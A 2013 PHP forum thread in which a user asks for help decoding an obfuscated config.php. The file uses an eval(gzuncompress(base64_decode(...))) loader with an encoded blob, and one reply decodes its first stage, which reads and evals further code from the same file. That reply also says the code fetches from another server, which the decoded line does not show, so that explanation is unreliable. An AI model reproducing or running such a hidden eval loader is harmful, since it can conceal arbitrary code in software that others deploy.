1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

eny one can help to decode this

Discussion in 'PHP' started by morscor, Jan 14, 2013.

  1. #1
    pls eny one can help to decode this :
    <?php 
    $OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=676;eval(gzuncompress(base64_decode('eNplj1mPgjAAhP8MSduIsSCihPDgfVvv62XDUQ5FwJZD+fWr2c1uNpuZp8nMl4xAMMbkJWy4cUIjKBBCvgIRMAsgvfCDkMJqVSDv4tvI9WjKofAzFSUsK0j/FytYU5H+In4vDa/MIju+JYxyDi2TU1X5cKgdOxTylKUMuoyazh+EJiMRnMxoMZ527Zyfr/1ho26pxeOutDaH42W3atNbutw+5yzQSIylZsdJykllLe9rg94s9NxR5htABO1Ot9cfDEfjyXQ2X5Dlar3Z7vaH4+lsWrZDXc8PLtfwFsXJnfE0y4vHs8SSXFcaarOlVWoAIaTT3Azh7yGkfwLOpF8j')));return;?>
    eG0GqAB5zMYbhX84MCzUigWtQoKktMvKa41dlIBx/TrA/4gWF4kMl+2jvDHiLiS59EMLE2GflQX3vVeb5kkP6kytIBlAQ+b5IzjQWV9/nIPDIbn+aPWlqgsKWe+rKaNPTEIPsbzfsCkI2tTsvYeL+2tT4C66QNttNOajSxwWHWV/v6YTeAn2kEpqsIyqnvb85rc0qY2TyWCpStbd1qk9FHw8VdVtd4M2x4FhRyWz/GMEId0DdSmUGOjypiVyoWYkjMDRHqpOjrD0VfBZ/HJpB8sgDEWewKzzzwwmteGsJXRhElSfldTl15YFsLOESLhQvFhmHLhpggU4gcwOV5m1RQA+/O4b8vp3EwEGEHXkBqQp5UhQR7O1ReTGlEDmoIIUZgyguGx1CfuNDQp1jNzJ1er7prTdVodFA/m1edNpYpZJo/IqszmC6S1ExoH9p4wu0HJSjhSC1XUhwsjUpMByNrACLwWQcw1H9q4dmtcg0jYaeG0AMVKp/yYqPXh9SFC4vqCrUTkbEBNqUORwB4sUICCOqV4KBDlajkcA/0WUhFl/W6N8xKFznfOHLFzud6CI4c0Nih5glBiSe3JH/ZhetR79I3nrm70nyR9HWPnGBFOiZ8XR0Q/5XRtWLxJ8vifxG3TYiOKYR9k8iuLVhy1KCXQTFW27GKGhJULKhAI/o0b2J6KD6ZVhwoSM/F8yjsBGXgmBTANxwJD/iMeeOr5RltMOIiYQ2DJqFNN/bJp0SrFaTKC83yEKS817U2fiRnFauFRCC82GjHCqqdwmX/gl9M1dUgKGEHB3789ln/0sKKqNAvLTJTYValw+4BJ8IC2T7WunVWkP0cHue67Q1dWcN1qbZUSSU+JJglvgTpoyXV0WjAdgFcj8CrYoSsvZqioT7FJ21uGcGqktJ898DebqYtyP8tORVfIPe8E3bCQBGkmn+FxWS1rjjJ3fTxAUJVDvCRiKdsv4F+459Pf/peJD5g2kgRAnDkLCDIKyBeYOUZB5FUVRJ7xERkFqBOHdGhK09WKRagpvJiBvSogXmv/o+R53nor9EpdaIZIoNRzdaIge86TIW4te/nOI67yFlhePI3A4X7rupcWP1gHbITZN0y+zqhJKrtsPMdoqTpkv7KgEXs9a38yhuk7z5PQwFnUhM29voH3m5sSa7t==
    Code (markup):

    SEMrush
     
    morscor, Jan 14, 2013 IP
    SEMrush
  2. jestep

    jestep Prominent Member Premium Member

    Messages:
    3,661
    Likes Received:
    215
    Best Answers:
    19
    Trophy Points:
    330
    #2
    You would be crazy to run this on a server. The eval(gzuncompress(base64_decode means they can execute any code that is contained in the encoded data. If this is code from another server, they could quite easily take over your server and website. If their server gets hacked, your's just did as well. I would look elsewhere for a script that doesn't use this sort of garbage obfuscation.
     
    jestep, Jan 14, 2013 IP
    morscor likes this.
  3. morscor

    morscor Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    1
    #3
    pls can you just to find me the way to decode it .that all i want to see what is in this script
    pls send a pm if you dont want to show the code.
    thanks a lot for your help
     
    morscor, Jan 14, 2013 IP
  4. rhoula

    rhoula Well-Known Member

    Messages:
    875
    Likes Received:
    15
    Best Answers:
    0
    Trophy Points:
    145
    #4
    Is this the entire code or just part of it?
     
    rhoula, Jan 14, 2013 IP
  5. morscor

    morscor Peon

    Messages:
    3
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    1
    #5
    this is a file name config.php
    and this what is inside
    it should look like :
    <?php
    $dbhost = "localhost";
    $dbname = "aaaaa";
    $dbuser = "root";
    $dbpass = "xxxxxxxxxxxx";
    $charset = "utf-8";
    //$infoserver = "users_dostlar"; //


    //Configuration dns port des serveurs
    $HOST2 = "no-ip.com";
    $CSPPORT2 = "234567";
    $DESKEY2 = "01 02 03 04 05 06 07 08 09 10 11 12 13 14";
    ?>
    but i dont find why to decode it
     
    Last edited: Jan 15, 2013
    morscor, Jan 15, 2013 IP
  6. rhoula

    rhoula Well-Known Member

    Messages:
    875
    Likes Received:
    15
    Best Answers:
    0
    Trophy Points:
    145
    #6
    So what's your question. Did you get it decoded or what?
     
    rhoula, Jan 15, 2013 IP
  7. jestep

    jestep Prominent Member Premium Member

    Messages:
    3,661
    Likes Received:
    215
    Best Answers:
    19
    Trophy Points:
    330
    #7
    Here's the first part:

    
    $O000O0O00=fopen($OOO0O0O00,'rb');while(--$O00O00O00)fgets($O000O0O00,1024);fgets($O000O0O00,4096);$OO00O00O0=gzuncompress(base64_decode(strtr(fread($O000O0O00,492),'YanNIKCcvsZkEG53b6wxq48SWXjUQAemtPTyMri9Oo017BdpzJ+R2V/FDLlgfHuh=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));eval($OO00O00O0);
    PHP:
    It basically pulls some code from another server and executes it on your server.
     
    jestep, Jan 15, 2013 IP
  8. genscd

    genscd Peon

    Messages:
    4
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    1
    #8
    Post your complete file?
     
    genscd, Jan 19, 2013 IP